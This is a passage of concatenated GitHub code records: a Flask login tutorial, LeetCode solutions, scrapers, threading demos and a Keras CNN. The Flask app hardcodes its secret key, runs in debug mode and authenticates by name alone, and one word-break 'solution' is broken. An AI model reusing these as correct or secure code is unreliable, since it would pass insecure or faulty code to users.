SQLAlchemy\n\napp=Flask(__name__)\napp.secret_key='dsfg3726892^*^UGjgut6&%I^jgh'\napp.config['SQLAlchemy_DATABASE_URI']='sqlite:///users.sqlite3' #'sqlite:///.sqlite3' setting up configuration properties for an app to define some stuff to do with the database.\napp.config[\"SQLAlchemy_TRACK_MODIFICATIONS\"]=False #It's used to close warnings\napp.permanent_session_lifetime = timedelta(minutes=5)\n\ndb= SQLAlchemy(app) #setting up database object\n\nclass users(db.Model): #defining a class whoch represents the user object in database\n _id=db.Column(\"id\", db.Integer, primary_key=True)\n name=db.Column(db.String(100))\n email=db.Column(db.String(150))\n\n def __init__(self, name, email): #this method takes variables that we need to create new objects\n self.name=name\n self.email=email\n\n\n@app.route(\"/\")\ndef home():\n return render_template(\"flask_07_home.html\")\n\n@app.route(\"/view\")\ndef view():\n return render_template(\"flask_11_view.html\", values=users.query.all())\n\n\n@app.route(\"/login\", methods=[\"POST\",\"GET\"])\ndef login():\n if request.method==\"POST\":\n session.permanent=True\n user=request.form['nm']\n session['user']=user\n\n found_user = users.query.filter_by(name=user).first() #when we view our data or find our data, it gets the data (filter_by) by FCFS\n if found_user:\n session['email']=found_user.email\n\n else: # If the user does not exist, we add a new one to database\n usr=users(user, \"\")\n db.session.add(usr) #adding the user model to our database\n db.session.commit() #Everytime you make change to your database, you need to commit it.\n\n flash(\"Login Successfully!\")\n return redirect(url_for(\"user\"))\n else:\n if 'user' in session:\n flash('already logged in')\n return redirect(url_for(\"user\"))\n\n return render_template(\"flask_10_login.html\")\n\n\n@app.route(\"/user\", methods=[\"POST\",\"GET\"])\ndef user():\n email=None\n if \"user\" in session:\n user=session['user']\n\n if request.method==\"POST\":\n email= request.form[\"email\"]\n session[\"email\"]=email\n found_user = users.query.filter_by(name=user).first()\n found_user.email=email\n db.session.commit()\n flash('email is saved successfully.')\n else:\n if 'email' in session:\n email=session[\"email\"]\n\n return render_template(\"flask_11_user.html\", email=email)\n else:\n flash(\"You\\'re not logged logged in.\")\n return render_template(\"flask_10_login.html\")\n\n\n\n\n\n@app.route(\"/logout\")\ndef logout():\n flash (\"You have been logged out\", 'info')\n session.pop(\"user\", None)\n session.pop(\"email\", None)\n return render_template(\"flask_10_login.html\")\n\n\nif __name__=='__main__':\n db.create_all() #create this database if it does not exist in our program whenever we run this app\n app.run(debug=True)\n","repo_name":"pauladesh/paul","sub_path":"paul02/flask_11_sqlalchemy.py","file_name":"flask_11_sqlalchemy.py","file_ext":"py","file_size_in_byte":3157,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"37"} +{"seq_id":"6307561241","text":"# \"applepenapple\"\n# [\"apple\", \"pen\"]\n# \"cars\"\n# [\"car\", \"ca\", \"rs\"]\n# \"cbca\"\n# [\"bc\",\"ca\"]\n# \"catsandog\"\n# [\"cats\", \"dog\", \"sand\", \"and\", \"cat\", \"an\"]\n\nfrom typing import List\n\n# time limit exceeded\nclass Attempt_Recursive:\n def wordBreak(self, s: str, wordDict: List[str]) -> bool:\n if not s:\n return True\n \n for word in wordDict:\n n = len(word)\n if word == s[:n] and self.wordBreak(s[n:], wordDict):\n return True\n return False\n\nclass Solution_Recursive:\n def wordBreak(self, s: str, wordDict: List[str]) -> bool:\n \n def recursive(m: int):\n if m == n: return True\n \n for i in range(m,n):\n substring = s[m:i+1]\n if substring in wordDict and recursive(i+1):\n return True\n return False\n \n wordDict = set(wordDict)\n n = len(s)\n return recursive(0)\n\nclass Solution_Tabulation:\n def wordBreak(self, s: str, wordDict: List[str]) -> bool:\n \n def recursive(m: int):\n if m == n: return True\n if m in dp: return dp[m]\n \n for i in range(m,n):\n substring = s[m:i+1]\n if substring in wordDict and recursive(i+1):\n dp[m] = True\n return True\n dp[m] = False\n return False\n \n wordDict = set(wordDict)\n n = len(s)\n dp = {}\n return recursive(0)\n\nclass Solution_Iterative:\n def wordBreak(self, s: str, wordDict: List[str]) -> bool:\n wordDict = set(wordDict)\n n = len(s)\n dp = {}\n\n for m in range(n):\n for i in range(m,n):\n substring = s[m:i+1]\n if substring in wordDict:\n dp[m] = dp[i+1]\n dp[m] = False\n \n\n return dp[0]","repo_name":"oscarchankalung/leetcode","sub_path":"Solutions/13 Dynamic Programming/139 Word Break.py","file_name":"139 Word Break.py","file_ext":"py","file_size_in_byte":1930,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"37"} +{"seq_id":"885000219","text":"#!/usr/bin/python3\n# -*- coding: utf-8 -*-\nimport errno\nimport os\n\nfrom atcodertools.client.atcoder import AtCoderClient\nfrom atcodertools.client.models.problem_content import SampleDetectionError, InputFormatDetectionError\n\n\nclass NoPatternFoundError(Exception):\n pass\n\n\natcoder = AtCoderClient()\n\n\ndef mkdirs(path):\n try:\n os.makedirs(path)\n except OSError as exc:\n if exc.errno == errno.EEXIST and os.path.isdir(path):\n pass\n\n\nif __name__ == \"__main__\":\n for contest in atcoder.download_all_contests():\n for problem in atcoder.download_problem_list(contest):\n path = \"./test_data/{contest}-{problem_id}\".format(contest=contest.get_id(),\n problem_id=problem.get_alphabet())\n if os.path.exists(path) and len(os.listdir(path)) != 0:\n print(\"{} already exists -- skipping download\".format(path))\n continue\n\n try:\n content = atcoder.download_problem_content(problem)\n\n mkdirs(path)\n with open(\"{}/{}\".format(path, \"format.txt\"), \"w\") as f:\n f.write(content.get_input_format())\n\n for idx, sample in enumerate(content.get_samples()):\n with open(\"{}/ex_{}.txt\".format(path, idx + 1), \"w\") as f:\n f.write(sample.get_input())\n except SampleDetectionError:\n print(\n \"failed to parse samples for {} {} -- skipping download\".format(contest.get_id(),\n problem.get_alphabet()))\n except InputFormatDetectionError:\n print(\n \"failed to parse input for {} {} -- skipping download\".format(contest.get_id(),\n problem.get_alphabet()))\n except Exception:\n print(\"unknown error for {} {} -- skipping download\".format(\n contest.get_id(), problem.get_alphabet()))\n","repo_name":"kyuridenamida/atcoder-tools","sub_path":"tests/resources/common/download_testcases.py","file_name":"download_testcases.py","file_ext":"py","file_size_in_byte":2130,"program_lang":"python","lang":"en","doc_type":"code","stars":367,"dataset":"github-code","pt":"37"} +{"seq_id":"14822140386","text":"import time\nimport os\nfrom download_from_yt import download_audio_from_yt_link\nfrom selenium import webdriver\nfrom selenium.webdriver import Chrome\nfrom selenium.webdriver.chrome.service import Service\nfrom selenium.webdriver.common.by import By\nfrom webdriver_manager.chrome import ChromeDriverManager\n\n\n# start by defining the options\noptions = webdriver.ChromeOptions()\noptions.page_load_strategy = 'none'\n#run chrome in headless mode\noptions.add_argument(\"--headless=new\")\n# this returns the path web driver downloaded\nchrome_path = ChromeDriverManager().install()\nchrome_service = Service(chrome_path)\n# pass the defined options and service objects to initialize the web driver\ndriver = Chrome(options=options, service=chrome_service)\ndriver.implicitly_wait(5)\n\nurl = input(\"course URL: \") \noutput_dir_path = input(\"output directory path :\")\n\n#check strings\ncheck1 = 'https://nptel.ac.in/courses/' \ncheck2 = 'nptel.ac.in/courses/'\ncheck3 = 'http://nptel.ac.in/courses/'\n\n#check and ensure that the entered URL is a proper NPTEL course page.\nwhile True: \n if check1 not in url and check2 not in url and check3 not in url:\n print(\"Invalid URL..\\n\")\n print(\"Enter a correct NPTEL URL in the form of 'https://nptel.ac.in/courses/course_id'\\n\")\n url = input(\"course URL: \") \n else:\n break\n \n#check if there's a directory else create one\nif not os.path.exists(output_dir_path):\n os.makedirs(output_dir_path)\n \n#load the page\ndriver.get(url)\n# wait for site to be loaded completely\ntime.sleep(10)\n\n# find unit elements, each unit represents a week\nweeks = driver.find_elements(By.CLASS_NAME,\"unit\")\n\n# iterate over each week to download videos\nfor week,i in zip(weeks,range(0,len(weeks))):\n week.click()\n time.sleep(5)\n print(\"week\"+ str(i + 1))\n #find all lectures in the week\n lectures = week.find_elements(By.TAG_NAME,\"li\")\n #iterate over each lecture and download\n for lecture,j in zip(lectures,range(0,len(lectures)) ):\n lecture.click()\n driver.switch_to.frame(\"player\")\n time.sleep(1)\n a = driver.find_element(By.CLASS_NAME, \"ytp-impression-link\")\n url = a.get_attribute(\"href\")\n print(\"downloading audio from week\" + str(i + 1) + \"lec\" + str(j + 1) )\n file_name = (\"lec\" + \"{:03d}\" + \"_\" + \"{:03d}\" + \".mp3\").format(i+1,j+1)\n download_audio_from_yt_link(url,file_name,output_dir_path)\n driver.switch_to.default_content()\n","repo_name":"Jaavid25/DataPipeline","sub_path":"download_audio.py","file_name":"download_audio.py","file_ext":"py","file_size_in_byte":2462,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"37"} +{"seq_id":"36195322876","text":"from __future__ import print_function\r\nfrom sklearn.model_selection import train_test_split\r\nimport numpy as np\r\nimport keras\r\nfrom keras import backend as K\r\nfrom keras.models import Sequential\r\nfrom keras.layers import Dense, Dropout, Flatten, Conv2D, MaxPool2D\r\nfrom keras.optimizers import RMSprop\r\nfrom keras.preprocessing.image import ImageDataGenerator\r\nfrom keras.callbacks import ReduceLROnPlateau\r\n\r\ndata = np.load(\"C:/Users/zhong/PycharmProjects/kannadais/data/X_kannada_MNIST_train.npz\")['arr_0']\r\nx_new = np.load(\"C:/Users/zhong/PycharmProjects/kannadais/data/X_kannada_MNIST_test.npz\")['arr_0']\r\nY = np.load(\"C:/Users/zhong/PycharmProjects/kannadais/data/y_kannada_MNIST_train.npz\")['arr_0']\r\n'''\r\nsns.countplot(Y)\r\n# plt.show()\r\n'''\r\nx_train, x_test, y_train, y_test = train_test_split(data, Y, test_size=0.3, random_state=42, stratify=Y)\r\n'''\r\nimport matplotlib.pyplot as plt\r\nfig = plt.figure()\r\nax1 = fig.add_subplot(2,2,1)\r\nax1.imshow(x_train[3],cmap='gray')\r\nax2 = fig.add_subplot(2,2,2)\r\nax2.imshow(x_train[8],cmap='gray')\r\nax3 = fig.add_subplot(2,2,3)\r\nax3.imshow(x_train[2],cmap='gray')\r\nax4 = fig.add_subplot(2,2,4)\r\nax4.imshow(x_train[20],cmap='gray')\r\nplt.show()\r\n'''\r\n\r\n\r\n# 数据预处理:能够喂入sequential网络\r\nimg_rows, img_cols = 28, 28\r\nbatch_size = 128\r\nnum_classes = 10\r\nepochs = 5\r\nif K.image_data_format() == 'channels_first':\r\n x_train = x_train.reshape(x_train.shape[0], 1, img_rows, img_cols)\r\n x_test = x_test.reshape(x_test.shape[0], 1, img_rows, img_cols)\r\n x_new = x_new.reshape(x_new.shape[0], 1, img_rows, img_cols)\r\n input_shape = (1, img_rows, img_cols)\r\nelse:\r\n x_train = x_train.reshape(x_train.shape[0], img_rows, img_cols, 1)\r\n x_test = x_test.reshape(x_test.shape[0], img_rows, img_cols, 1)\r\n x_new = x_new.reshape(x_new.shape[0], img_rows, img_cols, 1)\r\n input_shape = (img_rows, img_cols, 1)\r\nx_train = x_train.astype('float32')\r\nx_test = x_test.astype('float32')\r\nx_new = x_new.astype('float32')\r\nx_train /= 255\r\nx_test /= 255\r\nx_new /= 255\r\ny_train = keras.utils.to_categorical(y_train, num_classes)\r\ny_test = keras.utils.to_categorical(y_test, num_classes)\r\n\r\n\r\n# 构建sequential网络\r\nmodel = Sequential()\r\nmodel.add(Conv2D(filters=32, kernel_size=(5, 5), padding='Same',\r\n activation='relu', input_shape=(28, 28, 1)))\r\nmodel.add(Conv2D(filters=32, kernel_size=(5, 5), padding='Same',\r\n activation='relu'))\r\nmodel.add(MaxPool2D(pool_size=(2, 2)))\r\nmodel.add(Dropout(0.25))\r\n\r\nmodel.add(Conv2D(filters=64, kernel_size=(3, 3), padding='Same',\r\n activation='relu'))\r\nmodel.add(Conv2D(filters=64, kernel_size=(3, 3), padding='Same',\r\n activation='relu'))\r\nmodel.add(MaxPool2D(pool_size=(2, 2), strides=(2, 2)))\r\nmodel.add(Dropout(0.25))\r\n\r\nmodel.add(Flatten())\r\nmodel.add(Dense(256, activation=\"relu\"))\r\nmodel.add(Dropout(0.5))\r\nmodel.add(Dense(10, activation=\"softmax\"))\r\n\r\n# Compile model\r\noptimizer = RMSprop(lr=0.001, rho=0.9, epsilon=1e-08, decay=0.0)\r\nmodel.compile(optimizer=optimizer, loss=\"categorical_crossentropy\", metrics=[\"accuracy\"])\r\nlearning_rate_reduction = ReduceLROnPlateau(monitor='val_loss',\r\n patience=3,\r\n verbose=1,\r\n factor=0.2,\r\n min_lr=0.00001)\r\n# ImageDataGenerator用于生成假图像,扩充数据集\r\ndatagen = ImageDataGenerator(\r\n featurewise_center=False, # set input mean to 0 over the dataset\r\n samplewise_center=False, # set each sample mean to 0\r\n featurewise_std_normalization=False, # divide inputs by std of the dataset\r\n samplewise_std_normalization=False, # divide each input by its std\r\n zca_whitening=False, # apply ZCA whitening\r\n rotation_range=10, # randomly rotate images in the range (degrees, 0 to 180)\r\n zoom_range=0.1, # Randomly zoom image\r\n width_shift_range=0.1, # randomly shift images horizontally (fraction of total width)\r\n height_shift_range=0.1, # randomly shift images vertically (fraction of total height)\r\n horizontal_flip=False, # randomly flip images\r\n vertical_flip=False)\r\n\r\n# Model Training\r\nhist = model.fit_generator(\r\n datagen.flow(x_train, y_train, batch_size=128),\r\n epochs=20, validation_data=(x_test, y_test),\r\n verbose=2, steps_per_epoch=x_train.shape[0] // 128,\r\n callbacks=[learning_rate_reduction])\r\n\r\n# Model Evaluation\r\nscore = model.evaluate(x_test, y_test, verbose=0)\r\nprint('Test loss:', score[0])\r\nprint('Test accuracy:', score[1])\r\n","repo_name":"SteveLee1999/kannadais_handwriting_recognition","sub_path":"cnn.py","file_name":"cnn.py","file_ext":"py","file_size_in_byte":4648,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"37"} +{"seq_id":"71548664426","text":"from collections import defaultdict, deque\n\ndef solution(n, wires):\n answer=n\n comb=[]\n dic=defaultdict(list)\n\n for wire in wires:\n dic[wire[0]].append(wire[1])\n dic[wire[1]].append(wire[0])\n \n comb.append((wire[0],wire[1]))\n \n visited=defaultdict(bool)\n deq, count,count2 = deque(), 0,0\n \n for com in comb:\n deq.append(com[0])\n visited[com[0]]=True\n while deq:\n n=deq.popleft()\n count+=1\n for i in dic[n]:\n if i!=com[1] and visited[i]==False:\n deq.append(i)\n visited[i]=True\n deq.clear()\n visited.clear()\n \n deq.append(com[1])\n visited[com[1]]=True\n while deq:\n n=deq.popleft()\n count2+=1\n for i in dic[n]:\n if i!=com[0] and visited[i]==False:\n deq.append(i)\n visited[i]=True\n answer=min(answer,abs(count-count2))\n deq.clear()\n visited.clear()\n count,count2=0,0\n \n return answer\n \n \nprint(solution(9,[[1,3],[2,3],[3,4],[4,5],[4,6],[4,7],[7,8],[7,9]]))","repo_name":"Yoo-su/Programmers_ctest","sub_path":"Weekly/전력망을 둘로 나누기.py","file_name":"전력망을 둘로 나누기.py","file_ext":"py","file_size_in_byte":1194,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"37"} +{"seq_id":"70493804267","text":"# coding: utf-8\r\nimport threading\r\n# print(threading.active_count())\r\n# print(threading.enumerate())\r\nimport time\r\n\r\nfrom queue import Queue\r\n\r\n\r\ndef thread_job():\r\n print(\"T1 start\\n\")\r\n for i in range(10):\r\n time.sleep(0.1) # 任务间隔0.1s\r\n print(\"T1 finish\\n\")\r\n\r\n\r\ndef thread_no_join():\r\n added_thread = threading.Thread(target=thread_job, name='T1')\r\n added_thread.start()\r\n added_thread.join()\r\n print(\"all done\\n\")\r\n\r\n\r\ndef job(l, q):\r\n for i in range(len(l)):\r\n l[i] = l[i] ** 2\r\n q.put(l)\r\n\r\n\r\ndef multi_threading():\r\n q = Queue()\r\n threads = []\r\n data = [[1, 2, 3], [3, 4, 5], [4, 4, 4], [5, 5, 5]]\r\n for i in range(4):\r\n t = threading.Thread(target=job, args=(data[i], q))\r\n t.start()\r\n threads.append(t)\r\n for thread in threads:\r\n thread.join()\r\n results = []\r\n for _ in range(4):\r\n results.append(q.get())\r\n print(results)\r\n\r\n\r\ndef job1():\r\n global A, lock\r\n lock.acquire()\r\n for i in range(10):\r\n A += 1\r\n print('job1', A)\r\n lock.release()\r\n\r\n\r\ndef job2():\r\n global A, lock\r\n lock.acquire()\r\n for i in range(10):\r\n A += 10\r\n print('job2', A)\r\n lock.release()\r\n\r\n\r\nif __name__ == '__main__':\r\n lock = threading.Lock()\r\n A = 0\r\n t1 = threading.Thread(target=job1)\r\n t2 = threading.Thread(target=job2)\r\n t1.start()\r\n t2.start()\r\n t1.join()\r\n t2.join()\r\n","repo_name":"ns7381/python_learn","sub_path":"concurency/threading_learn.py","file_name":"threading_learn.py","file_ext":"py","file_size_in_byte":1445,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"37"} +{"seq_id":"24106723811","text":"\"\"\"\n3. Longest Substring Without Repeating Characters\nMedium\n\nGiven a string s, find the length of the longest\nsubstring\n without repeating characters.\n\n\n\nExample 1:\n\nInput: s = \"abcabcbb\"\nOutput: 3\nExplanation: The answer is \"abc\", with the length of 3.\nExample 2:\n\nInput: s = \"bbbbb\"\nOutput: 1\nExplanation: The answer is \"b\", with the length of 1.\nExample 3:\n\nInput: s = \"pwwkew\"\nOutput: 3\nExplanation: The answer is \"wke\", with the length of 3.\nNotice that the answer must be a substring, \"pwke\" is a subsequence and not a substring.\n\n\nConstraints:\n\n0 <= s.length <= 5 * 104\ns consists of English letters, digits, symbols and spaces.\n\"\"\"\n\nclass Solution:\n def lengthOfLongestSubstring(self, s):\n charSet = set()\n maxCount = 0 # here count cannot be negative because input string has a min length of 0\n l = 0\n #here our main goal is to check if ther are any duplicates present in the substring r-l and get the len(r-l).\n for r in range(len(s)):\n while s[r] in charSet: # here for each index/char we check if it is already present in the charSet. #while runs until there is not duplicate char in the set\n charSet.remove(s[l]) # we remove the first pointer variable.\n l += 1 # we move forward, if ther is a duplicate.\n charSet.add(s[r])\n #r += 1\n maxCount = max(maxCount,r-l+1) #here the range of r starts from 0 so we take +1 to include right most value\n return maxCount\n\ndef main():\n sol = Solution()\n s = \"pwwkew\"\n result = sol.lengthOfLongestSubstring(s)\n print(result)\n\n\nif __name__ == \"__main__\":\n main()\n\n\n\n","repo_name":"edulapalle/leetcode","sub_path":"LC_3_Longest Subtring_without_repeating_character.py","file_name":"LC_3_Longest Subtring_without_repeating_character.py","file_ext":"py","file_size_in_byte":1648,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"37"} +{"seq_id":"15317181088","text":"import Queue\nimport multiprocessing\n\nclass CoreQueue:\n queue = None\n processing_lock = None\n size = 0\n\n def __init__(self, size):\n ''' Create a queue with the maximum size specified. '''\n self.queue = Queue.Queue(size)\n self.processing_lock = multiprocessing.RLock()\n self.size = size\n\n def push (self, data):\n ''' Push the data to the queue. '''\n returnValue, returnError = False, ''\n if data:\n try:\n self.queue.put(data, block=False)\n returnValue = True\n except Queue.Full:\n returnError = 'Process queue reached max capacity - {0}.'.format(self.size)\n else:\n returnError = 'Empty data'\n return returnValue, returnError\n\n def pop (self):\n ''' Pop data from the queue. '''\n data = self.queue.get()\n self.processing_lock.acquire()\n return data\n\n def pop_complete (self):\n ''' Pop data from the queue. '''\n self.processing_lock.release()\n\n def empty(self):\n ''' Check if the queue is empty. '''\n retval = self.processing_lock.acquire(0)\n if retval:\n self.processing_lock.release()\n return (self.queue.empty() and retval)\n\n def close (self):\n ''' Close the queue. '''\n self.queue = None\n self.processing_lock = None\n self.size = 0\n","repo_name":"bcyj/android_tools_leeco_msm8996","sub_path":"common/scripts/SecImage/sectools/common/utils/c_queue.py","file_name":"c_queue.py","file_ext":"py","file_size_in_byte":1405,"program_lang":"python","lang":"en","doc_type":"code","stars":36,"dataset":"github-code","pt":"37"} +{"seq_id":"73363351788","text":"#! /usr/bin/env python\n# -*- coding: utf-8 -*-\n__author__ = 'oles'\nimport tornado\nimport numpy as np\nimport gensim.models\nimport tornado.ioloop\nimport tornado.web\nimport json\nimport os\nimport logging\n\nlogging.basicConfig(format='%(asctime)s : %(levelname)s : %(message)s', level=logging.INFO)\n\nmodels = {\n 'subtitlesEn': {'3d': [], 'w2v': [], 'startYear': 1950, 'words': []}\n}\n\nfor i in xrange(1950, 2005, 5):\n if os.path.isfile('models/'+str(i)):\n m = gensim.models.Word2Vec().load('models/'+str(i))\n m.syn0 = m.syn0[:8000]\n m.syn1neg = m.syn1neg[:8000]\n models['subtitlesEn']['w2v'].append(m)\n\n else:\n models['subtitlesEn']['w2v'].append(models['subtitlesEn']['w2v'][-1])\n\nmodels['subtitlesEn']['words'] = models['subtitlesEn']['w2v'][0].index2word[:7500]\nmodels['subtitlesEn']['3d'] = json.load(open('models/subtitlesEn.json', 'r'))['years']\n\n\nroot = os.path.dirname(__file__)\n\ncache = {}\nif os.path.isfile('models/cache.npy'):\n cache['subtitlesEn'] = np.load('models/cache.npy')\nelse:\n cache['subtitlesEn'] = {}\n\n\nclass ApiHandler(tornado.web.RequestHandler):\n def get(self):\n try:\n keyword = self.get_argument('keyword')\n modelName = self.get_argument('model')\n res = []\n if models[modelName]:\n try:\n if keyword in cache[modelName]:\n res = cache[modelName][keyword].toList()\n else:\n for model in models[modelName]['w2v']:\n yearDist = []\n for word in model.index2word[:7500]:\n yearDist.append(model.similarity(keyword, word))\n res.append(yearDist)\n except AssertionError:\n self.write(\"no word in vocab :\" + keyword)\n else:\n self.write(\"no such model: \" + modelName)\n self.write(json.dumps(res))\n except AssertionError:\n self.write(\"no word in vocab\")\n\n\nclass ModelHandler(tornado.web.RequestHandler):\n def get(self):\n try:\n req = self.get_argument('model')\n if models[req]:\n resp = {'name': req,\n 'startYear': models[req]['startYear'],\n 'years': models[req]['3d'],\n 'words': models[req]['words']}\n self.write(json.dumps(resp))\n else:\n self.write(\"no such model: \" + req)\n\n except AssertionError:\n self.write(\"no word in vocab\")\n\n\ndef make_app():\n return tornado.web.Application([\n (r\"/api\", ApiHandler),\n (r\"/models\", ModelHandler),\n ('/static/(.*)', tornado.web.StaticFileHandler, {'path': os.path.join(root, 'static')})\n ])\n\n\nif __name__ == \"__main__\":\n app = make_app()\n print('api started')\n app.listen(8080)\n tornado.ioloop.IOLoop.current().start()\n","repo_name":"ARVILab/CourseAI","sub_path":"week5/nlpTimeframes/UI/api.py","file_name":"api.py","file_ext":"py","file_size_in_byte":3108,"program_lang":"python","lang":"en","doc_type":"code","stars":12,"dataset":"github-code","pt":"37"} +{"seq_id":"30008368512","text":"import numpy as np\nimport pandas as pd\n\n\ndef gr_accuracy(GR_TRUTH=None, labels=None, metadata=None):\n if labels is None:\n from sklearn.cluster import KMeans\n from sklearn.metrics import silhouette_score\n\n labels = KMeans(n_clusters=metadata[\"n_cluster\"], random_state=0).fit(metadata[\"data\"]).predict(metadata[\"data\"])\n\n labels = np.array(labels)\n\n if GR_TRUTH is not None:\n n = len(labels)\n gr_truth = pd.read_csv(GR_TRUTH).to_numpy()[:, 1]\n\n diff = gr_truth - labels\n accuracy = max(\n 100 * len(np.where(diff == 0)[0]) / n,\n 100 * len(np.where(diff == 1)[0]) / n,\n 100 * len(np.where(diff == -1)[0]) / n,\n )\n\n print(\"label diff 0: \", len(np.where(diff == 0)[0]))\n print(\"label diff 1: \", len(np.where(diff == 1)[0]))\n print(\"label diff -1: \", len(np.where(diff == -1)[0]))\n print(\"\\n % Accuracy on comparision with ground truth: \", accuracy)\n\n else:\n raise Exception(\"No ground truth provided!\")\n\n return accuracy\n\n\ndef silhouette_score(labels=None, data=None, metadata=None):\n from sklearn.metrics import silhouette_score\n\n if metadata is not None:\n from sklearn.cluster import KMeans\n\n labels_pred = (\n KMeans(n_clusters=metadata[\"n_cluster\"], random_state=0)\n .fit(metadata[\"data\"])\n .predict(metadata[\"data\"])\n )\n\n labels_pred = np.array(labels_pred)\n s_score = silhouette_score(metadata[\"data\"], labels_pred)\n else:\n s_score = silhouette_score(data, labels)\n\n return s_score\n\n\ndef f_measure(metadata=None):\n from sklearn.metrics import f1_score\n from sklearn.cluster import KMeans\n\n labels_pred = (\n KMeans(n_clusters=metadata[\"n_cluster\"], random_state=0)\n .fit(metadata[\"data\"])\n .predict(metadata[\"data\"])\n )\n\n labels_pred = np.array(labels_pred)\n f_measure = f1_score(metadata[\"gr_truth\"], labels_pred,)\n\n return f_measure\n\n\ndef jaccard(metadata=None):\n from sklearn.cluster import KMeans\n from sklearn.metrics import jaccard_score\n\n labels_pred = (\n KMeans(n_clusters=metadata[\"n_cluster\"], random_state=0)\n .fit(metadata[\"data\"])\n .predict(metadata[\"data\"])\n )\n\n labels_pred = np.array(labels_pred)\n j_score = jaccard_score(metadata[\"gr_truth\"], labels_pred)\n\n return j_score\n\n\ndef purity():\n pass\n\n\ndef dice():\n pass\n\n\ndef rand():\n pass\n","repo_name":"xfurna/coalapy","sub_path":"coalapy/analyse.py","file_name":"analyse.py","file_ext":"py","file_size_in_byte":2474,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"37"} +{"seq_id":"29880405212","text":"import os\nimport wandb\nimport math\nimport numpy as np\nimport pandas as pd\nimport torch\nimport torch.nn as nn\nimport torch.nn.functional as F\nimport torch.optim\nimport tensorflow as tf\nfrom matplotlib import pyplot as plt\nfrom tqdm import tqdm, trange\nfrom argparse import ArgumentParser\n\nimport MDAnalysis as mda\nfrom MDAnalysis.analysis import align, rms\nfrom PIL import Image\n\nfrom utils.chanset import * \n\nclass PositionalQPredictor(nn.Module):\n def __init__(self, num_unique_atoms, embedding_dim=16, depth=4, scale=2, channels=32, res_n=2, droprate=None, batch_norm=True):\n super(PositionalQPredictor, self).__init__()\n self.embeddings = nn.Embedding(num_embeddings=num_unique_atoms, embedding_dim=embedding_dim)\n self.positional_enconding = PositionalEncoding(embedding_dim)\n\n layers = []\n layers.append(nn.Conv1d(3+embedding_dim, channels, 4, 2, 1, bias=False))\n\n if batch_norm:\n layers.append(nn.BatchNorm1d(channels))\n \n if droprate is not None:\n layers.append(nn.Dropout(p=droprate))\n\n layers.append(nn.ReLU(inplace=True))\n\n for i in range(depth):\n in_channels = int(channels*scale**i)\n out_channels = int(channels*scale**(i+1))\n\n layers.append(nn.Conv1d(in_channels, out_channels, 4, 2, 1, bias=False))\n\n if batch_norm:\n layers.append(nn.BatchNorm1d(out_channels))\n\n if droprate is not None:\n layers.append(nn.Dropout(p=droprate))\n\n layers.append(nn.ReLU(inplace=True))\n for j in range(res_n):\n layers.append(ResidualBlock(out_channels))\n\n layers.append(nn.AdaptiveAvgPool1d(1))\n layers.append(nn.Flatten())\n layers.append(nn.Linear(out_channels, 1, bias=True))\n layers.append(nn.Flatten(0, 1))\n self.layers = nn.Sequential(*layers)\n \n\n def forward(self, xyz, atom_names): \n atom_names = self.embeddings(atom_names) \n atom_names = atom_names.swapaxes(1,2) \n atom_names = self.positional_enconding(atom_names) # (B, D, N) \n x = torch.cat([xyz, atom_names], dim=1) \n x = self.layers(x)\n return x\nclass PositionalEncoding(nn.Module):\n\n def __init__(self, d_model: int, dropout: float = 0.1, max_len: int = 5000):\n super().__init__()\n self.dropout = nn.Dropout(p=dropout)\n\n # max_len=N (1, N)\n position = torch.arange(max_len).unsqueeze(0)\n div_term = torch.exp(torch.arange(0, d_model, 2) * (-math.log(10000.0) / d_model)).unsqueeze(1) # (D/2, 1)\n pe = torch.zeros(1, d_model, max_len) # (1, D, N) \n pe[0, 0::2, :] = torch.sin(position * div_term) # broadcasting -> (1,N)*(D/2, 1) = (D/2, N) \n pe[0, 1::2, :] = torch.cos(position * div_term) # (D/2, N) \n self.register_buffer('pe', pe) \n\n def forward(self, x: torch.Tensor) -> torch.Tensor:\n \"\"\"\n Args:\n x: Tensor, shape [batch_size, embedding_dim, seq_len] (B,D,N'=1.9.0', 'pysam>=0.15.2', 'intervaltree', 'scipy', 'h5py',\n 'pandas', 'anndata']\n\nsetup(\n name = \"xcltk\",\n\n # Versions should comply with PEP440. For a discussion on single-sourcing\n # the version across setup.py and the project code, see\n # https://packaging.python.org/en/latest/single_source_version.html\n version = VERSION,\n\n description = \"xcltk - Toolkit for XClone\",\n long_description = long_description,\n long_description_content_type = \"text/markdown\",\n\n # The project's main homepage.\n url = \"https://github.com/hxj5/xcltk\",\n\n # Author details\n author = 'Xianjie Huang',\n author_email = 'xianjie5@connect.hku.hk',\n\n # Choose your license\n license='Apache-2.0',\n\n # What does your project relate to?\n keywords=['xclone', 'toolkit'],\n\n # You can just specify the packages manually here if your project is\n # simple. Or you can use find_packages().\n packages = find_packages(),\n\n #entry_points={\n # 'console_scripts': [\n # 'xcltk-baf = xcltk.baf.baf:main',\n # 'xcltk-rdr = xcltk.rdr.rdr:main',\n # 'xcltk-reg = xcltk.region.region:main'\n # ],\n #}, \n\n entry_points={\n 'console_scripts': [\n 'xcltk = xcltk.xcltk:main'\n ],\n }, \n\n # List run-time dependencies here. These will be installed by pip when\n # your project is installed. For an analysis of \"install_requires\" vs pip's\n # requirements files see:\n # https://packaging.python.org/en/latest/requirements.html\n \n install_requires = reqs,\n\n py_modules = ['xcltk']\n\n # buid the distribution: python setup.py sdist\n # upload to pypi: twine upload dist/...\n\n)\n","repo_name":"hxj5/xcltk","sub_path":"setup.py","file_name":"setup.py","file_ext":"py","file_size_in_byte":2116,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"37"} +{"seq_id":"575641990","text":"import uiScriptLocale\nimport localeInfo\n\nBOARD_PATH = \"d:/ymir work/ui/minigame/attendance/number_board/\"\n\nIN_GAME_UI_WIDTH\t= 337\nCALENDAR_UI_WIDTH\t= IN_GAME_UI_WIDTH - 14\n\nwindow = {\n\t\"name\" : \"InGameEventWindow\",\n\t\"type\" : \"window\",\n\t\"style\" : (\"movable\", 